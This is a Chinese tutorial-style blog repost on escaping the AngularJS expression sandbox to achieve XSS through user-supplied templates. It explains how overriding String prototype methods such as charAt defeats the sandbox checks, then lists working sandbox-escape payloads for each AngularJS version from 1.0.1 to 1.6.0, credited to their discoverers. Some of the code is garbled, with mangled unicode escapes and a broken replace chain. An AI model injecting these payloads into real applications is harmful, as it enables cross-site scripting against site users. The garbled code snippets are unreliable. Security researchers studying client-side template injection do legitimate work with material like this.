如何使用AngularJs用户输入动态模板XSS攻击

这次给大家带来如何使用AngularJs用户输入动态模板XSS攻击,使用AngularJs用户输入动态模板XSS攻击的注意事项有哪些,下面就是实战案例,一起来看一下。

概述

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。

前情提要

angularJs通过“{{}}”来作为输出的标志,而对于双括号里面的内容angularJs会计计算并输出结果,我们可以在里面输入JS代码,并且一些语句还能得到执行,这使得我们的XSS有了可能,虽然不能直接写函数表达式,但这并难不住我们的白帽。

沙箱检验

angularJs会对表达式进行重写,并过滤计算输出,比如我们输入

{{1 + 1}}

登录后复制

在JS中会被转换成

"use strict";var fn = function(s, l, a, i) { return plus(1, 1);};return fn;

登录后复制

return fn;这里的返回会被angualrJs执行,angularJs改写这个方法后转换是这样的

"use strict";var fn = function(s, l, a, i) { var v0, v1, v2, v3, v4 = l && ('constructor' in l), v5; if (!(v4)) { if (s) { v3 = s.constructor; } } else { v3 = l.constructor; } ensureSafeObject(v3, text); if (v3 != null) { v2 = ensureSafeObject(v3.constructor, text); } else { v2 = undefined; } if (v2 != null) { ensureSafeFunction(v2, text); v5 = 'alertu00281u0029'; ensureSafeObject(v3, text); v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alertu00281u0029', text)), text); } else { v1 = undefined; } if (v1 != null) { ensureSafeFunction(v1, text); v0 = ensureSafeObject(v1(), text); } else { v0 = undefined; } return v0;};return fn;

登录后复制

angularJs会检查每一个输入的参数,ensureSafeObject方法会检验出函数的构造方法,窗口对象,对象,或者对象的构造方法,任意的其中一项被检查出来,表达式都不会执行.angularJs还有ensureSafeMemeberName和ensureSafeFunction来过滤掉方法原型链方法和检查这个指向。

如何逃逸

怎么样能逃过模板的过滤呢,可以让我们输入的模板被角执行,因为angularJs不支持函数输入,我们不可以直接覆盖本地的JS函数。但在字符串对象中找到了漏洞,fromCharCode,则charCode, charAt,由于没有重写这些方法,通过改变本地的js函数,我可以在angularJs调用这些方法的时候为自己开一个后门,将我改写的来覆盖原来的函数。

'a'.constructor.fromCharCode=[].join;'a'.constructor[0]='u003ciframe onload=alert(/Backdoored/)u003e';

登录后复制

formCharCode方法执行的时候内部的this指向的是String对象,通过上面的可指执行语句,我们可以对fromCharCode 函数进行覆盖,当在本页面内执行时,比如:

onload=function(){document.write(String.fromCharCode(97));//会弹出 /Backdoored/ }

登录后复制

还可以这样

'a'.constructor.prototype.charCodeAt=[].concat

登录后复制

当angularJs调用charCodeAt函数时,我的代码就被执行到angular源码去了,比如说在这段里面有encodeEntities 方法用来对属性和名称做一个过滤然后输出,

if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {out(' ');out(key);out('="');out(encodeEntities(value));//找的就是encodeEntities   out('"');}

登录后复制

具体的encodeEntities代码如下:

function encodeEntities(value) {return value. replace(/&/g, '&'). replace(SURROGATE_PAIR_REGEXP, function(value) { var hi = value.charCodeAt(0); var low = value.charCodeAt(1); return '' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';'; }). replace(NON_ALPHANUMERIC_REGEXP, function(value) { return '' + value.charCodeAt(0) + ';';//这里发生了不好事情,我改写了这个方法,可以植入一些恶意代码,并且得到返回输出  }).replace(/</g, '/g, '>');}

登录后复制

具体执行

//这是输入代码 {{ 'a'.constructor.prototype.charAt=[].join; $eval('x=""')+''}}//这是被覆盖影响的代码  "use strict";var fn = function(s, l, a, i) { var v5, v6 = l && ('xu003du0022u0022' in l);//被影响的 if (!(v6)) {  if (s) {   v5 = s.x = "";//被影响的  } } else {  v5 = l.x = "";//被影响的 } return v5;};fn.assign = function(s, v, l) { var v0, v1, v2, v3, v4 = l && ('xu003du0022u0022' in l);//被影响的 v3 = v4 ? l : s; if (!(v4)) {  if (s) {   v2 = s.x = "";//被影响的  } } else {  v2 = l.x = "";//被影响的 } if (v3 != null) {  v1 = v;  ensureSafeObject(v3.x = "", text);//被影响的  v0 = v3.x = "" = v1;//被影响的 } return v0;};return fn;

登录后复制

{{ 'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)')+'' //注入了alert(1) }}"use strict";var fn = function(s, l, a, i) { var v5, v6 = l && ('xu003dalertu00281u0029' in l); if (!(v6)) {  if (s) {   v5 = s.x = alert(1);  } } else {  v5 = l.x = alert(1); } return v5;};fn.assign = function(s, v, l) { var v0, v1, v2, v3, v4 = l && ('xu003dalertu00281u0029' in l); v3 = v4 ? l : s; if (!(v4)) {  if (s) {   v2 = s.x = alert(1);  } } else {  v2 = l.x = alert(1); } if (v3 != null) {  v1 = v;  ensureSafeObject(v3.x = alert(1), text);  v0 = v3.x = alert(1) = v1; } return v0;};return fn;

登录后复制

下面附上一些代码,可以直接结合angularJs验证

不同版本的实现代码以及发现者:

1.0.1 – 1.1.5    Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}}

登录后复制登录后复制

1.2.0 – 1.2.1     Jan Horn (Google)

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

登录后复制

1.2.2 – 1.2.5    Gareth Heyes (PortSwigger)

{{'a'[{toString:[].join,length:1,0:'proto'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+"'");}}

登录后复制

1.2.6 – 1.2.18    Jan Horn (Google)

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.proto,$).value,0,'alert(1)')()}}

登录后复制

1.2.19 – 1.2.23    Mathias Karlsson

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

登录后复制

1.2.24 – 1.2.29 Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+"'");}}

登录后复制

1.3.0    Gábor Molnár (Google)

{{!ready && (ready = true) && (!call? $$watchers[0].get(toString.constructor.prototype): (a = apply) &&(apply = constructor) &&(valueOf = call) &&(''+''.toString('F = Function.prototype;' +'F.apply = F.a;' +'delete F.a;' +'delete F.valueOf;' +'alert(1);')));}}

登录后复制

1.3.1 – 1.3.2    Gareth Heyes (PortSwigger)

{{{}[{toString:[].join,length:1,0:'proto'}].assign=[].join;'a'.constructor.prototype.charAt=''.valueOf; $eval('x=alert(1)//'); }}

登录后复制

1.3.3 – 1.3.18    Gareth Heyes (PortSwigger)

{{{}[{toString:[].join,length:1,0:'proto'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//'); }}

登录后复制

1.3.19   Gareth Heyes (PortSwigger)

{{'a'[{toString:false,valueOf:[].join,length:1,0:'proto'}].charAt=[].join; $eval('x=alert(1)//'); }}

登录后复制

1.3.20    Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

登录后复制

1.4.0 – 1.4.9    Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

登录后复制

1.5.0 – 1.5.8  Ian Hickey

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

登录后复制

1.5.9 – 1.5.11   Jan Horn (Google)

{{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a;}}

登录后复制

= 1.6.0 Mario Heiderich(Cure53)

{{constructor.constructor('alert(1)')()}}

登录后复制登录后复制

相信看了本文案例你已经掌握了方法,更多精彩请关注【创想鸟】其它相关文章!

推荐阅读:

如何使用JS装饰器函数

怎样使用vue.js与element-ui实现菜单树形结构

以上就是如何使用AngularJs用户输入动态模板XSS攻击的详细内容,更多请关注【创想鸟】其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至253000106@qq.com举报,一经查实,本站将立刻删除。

发布者:PHP中文网,转转请注明出处:https://www.chuangxiangniao.com/p/2750653.html

(0)
上一篇 2025年3月8日 05:40:01
下一篇 2025年3月8日 05:40:07

AD推荐 黄金广告位招租... 更多推荐

相关推荐

  • 在Node.js中使用cheerio制作简单的网页爬虫(详细教程)

    本篇文章主要介绍了node.js 利用cheerio制作简单的网页爬虫示例,现在分享给大家,也给大家做个参考。 本文介绍了Node.js 利用cheerio制作简单的网页爬虫示例,分享给大家,具有如下: 1. 目标 完成对网站的标题信息获取…

    编程技术 2025年3月8日
    000
  • 怎样使用js实现字符串去重及数组去重

    这次给大家带来怎样使用js实现字符串去重及数组去重,使用js实现字符串去重及数组去重的注意事项有哪些,下面就是实战案例,一起来看一下。 js数组、字符串去重 /*数组去重*/ function quchong(arr){ var len =…

    2025年3月8日
    200
  • 如何使用vue传递数据

    这次给大家带来如何使用vue传递数据,使用vue传递数据的注意事项有哪些,下面就是实战案例,一起来看一下。 组件(Component)是 Vue.js 最强大的功能。组件可以封装可重用的代码,通过传入对象的不同,实现组件的复用,但组件传值就…

    2025年3月8日 编程技术
    200
  • 如何使用vue中ajax请求和axios包

    这次给大家带来如何使用vue中ajax请求和axios包,使用vue中ajax请求和axios包的注意事项有哪些,下面就是实战案例,一起来看一下。 + 首先,引入axios CDN: npm: npm install axios 并在全局的…

    编程技术 2025年3月8日
    200
  • 怎样使用js Element Traversal规范元素遍历

    这次给大家带来怎样使用js Element Traversal规范元素遍历,使用js Element Traversal规范元素遍历的注意事项有哪些,下面就是实战案例,一起来看一下。 对于元素间的空格,在IE9之前,都不会返回文档节点,其它…

    编程技术 2025年3月8日
    200
  • 怎样使用vue子组件向父组件传递数据

    这次给大家带来怎样使用vue子组件向父组件传递数据,使用vue子组件向父组件传递数据的注意事项有哪些,下面就是实战案例,一起来看一下。 如下图所示: 当没有任何操作的时候父组件的值是 0 当点击加号以后父组件的值是 1 当点击减号以后父组件…

    2025年3月8日
    200
  • 使用Node.js如何实现静态服务器

    这篇文章主要介绍了node.js静态服务器的实现方法,非常不错,具有参考借鉴价值,需要的朋友可以参考下 当你输入一个url时,这个url可能对应服务器上的一个资源(文件)也可能对应一个目录。 So服务器会对这个url进行分析,针对不同的情况…

    编程技术 2025年3月8日
    200
  • 利用JS脚本加载后如何实现能执行相应回调函数

    本文主要讲解怎么在成功加载 js 文件后再执行相应回调任务,对js脚本加载后执行相应回调函数的操作方法感兴趣的朋友,通过本文学习下吧 项目中经常会遇到这样的问题:当某个 js 脚本加载完成后再执行相应任务,但很多朋友可能并不知道怎么判断我们…

    编程技术 2025年3月8日
    200
  • jQuery中$. 与 $().使用

    这次给大家带来jQuery中$. 与 $().使用,jQuery中$. 与 $().使用的注意事项有哪些,下面就是实战案例,一起来看一下。  像我这种没有经过系统学习的人总是有这样的问题:( $就是jQuery的别称 而jQuery就是jQ…

    编程技术 2025年3月8日
    200
  • 如何使用react redux

    这次给大家带来如何使用react redux,使用react redux的注意事项有哪些,下面就是实战案例,一起来看一下。 环境准备 为了方便,这里使用create-react-app搭建react环境 create-react-app m…

    编程技术 2025年3月8日
    200

发表回复

登录后才能评论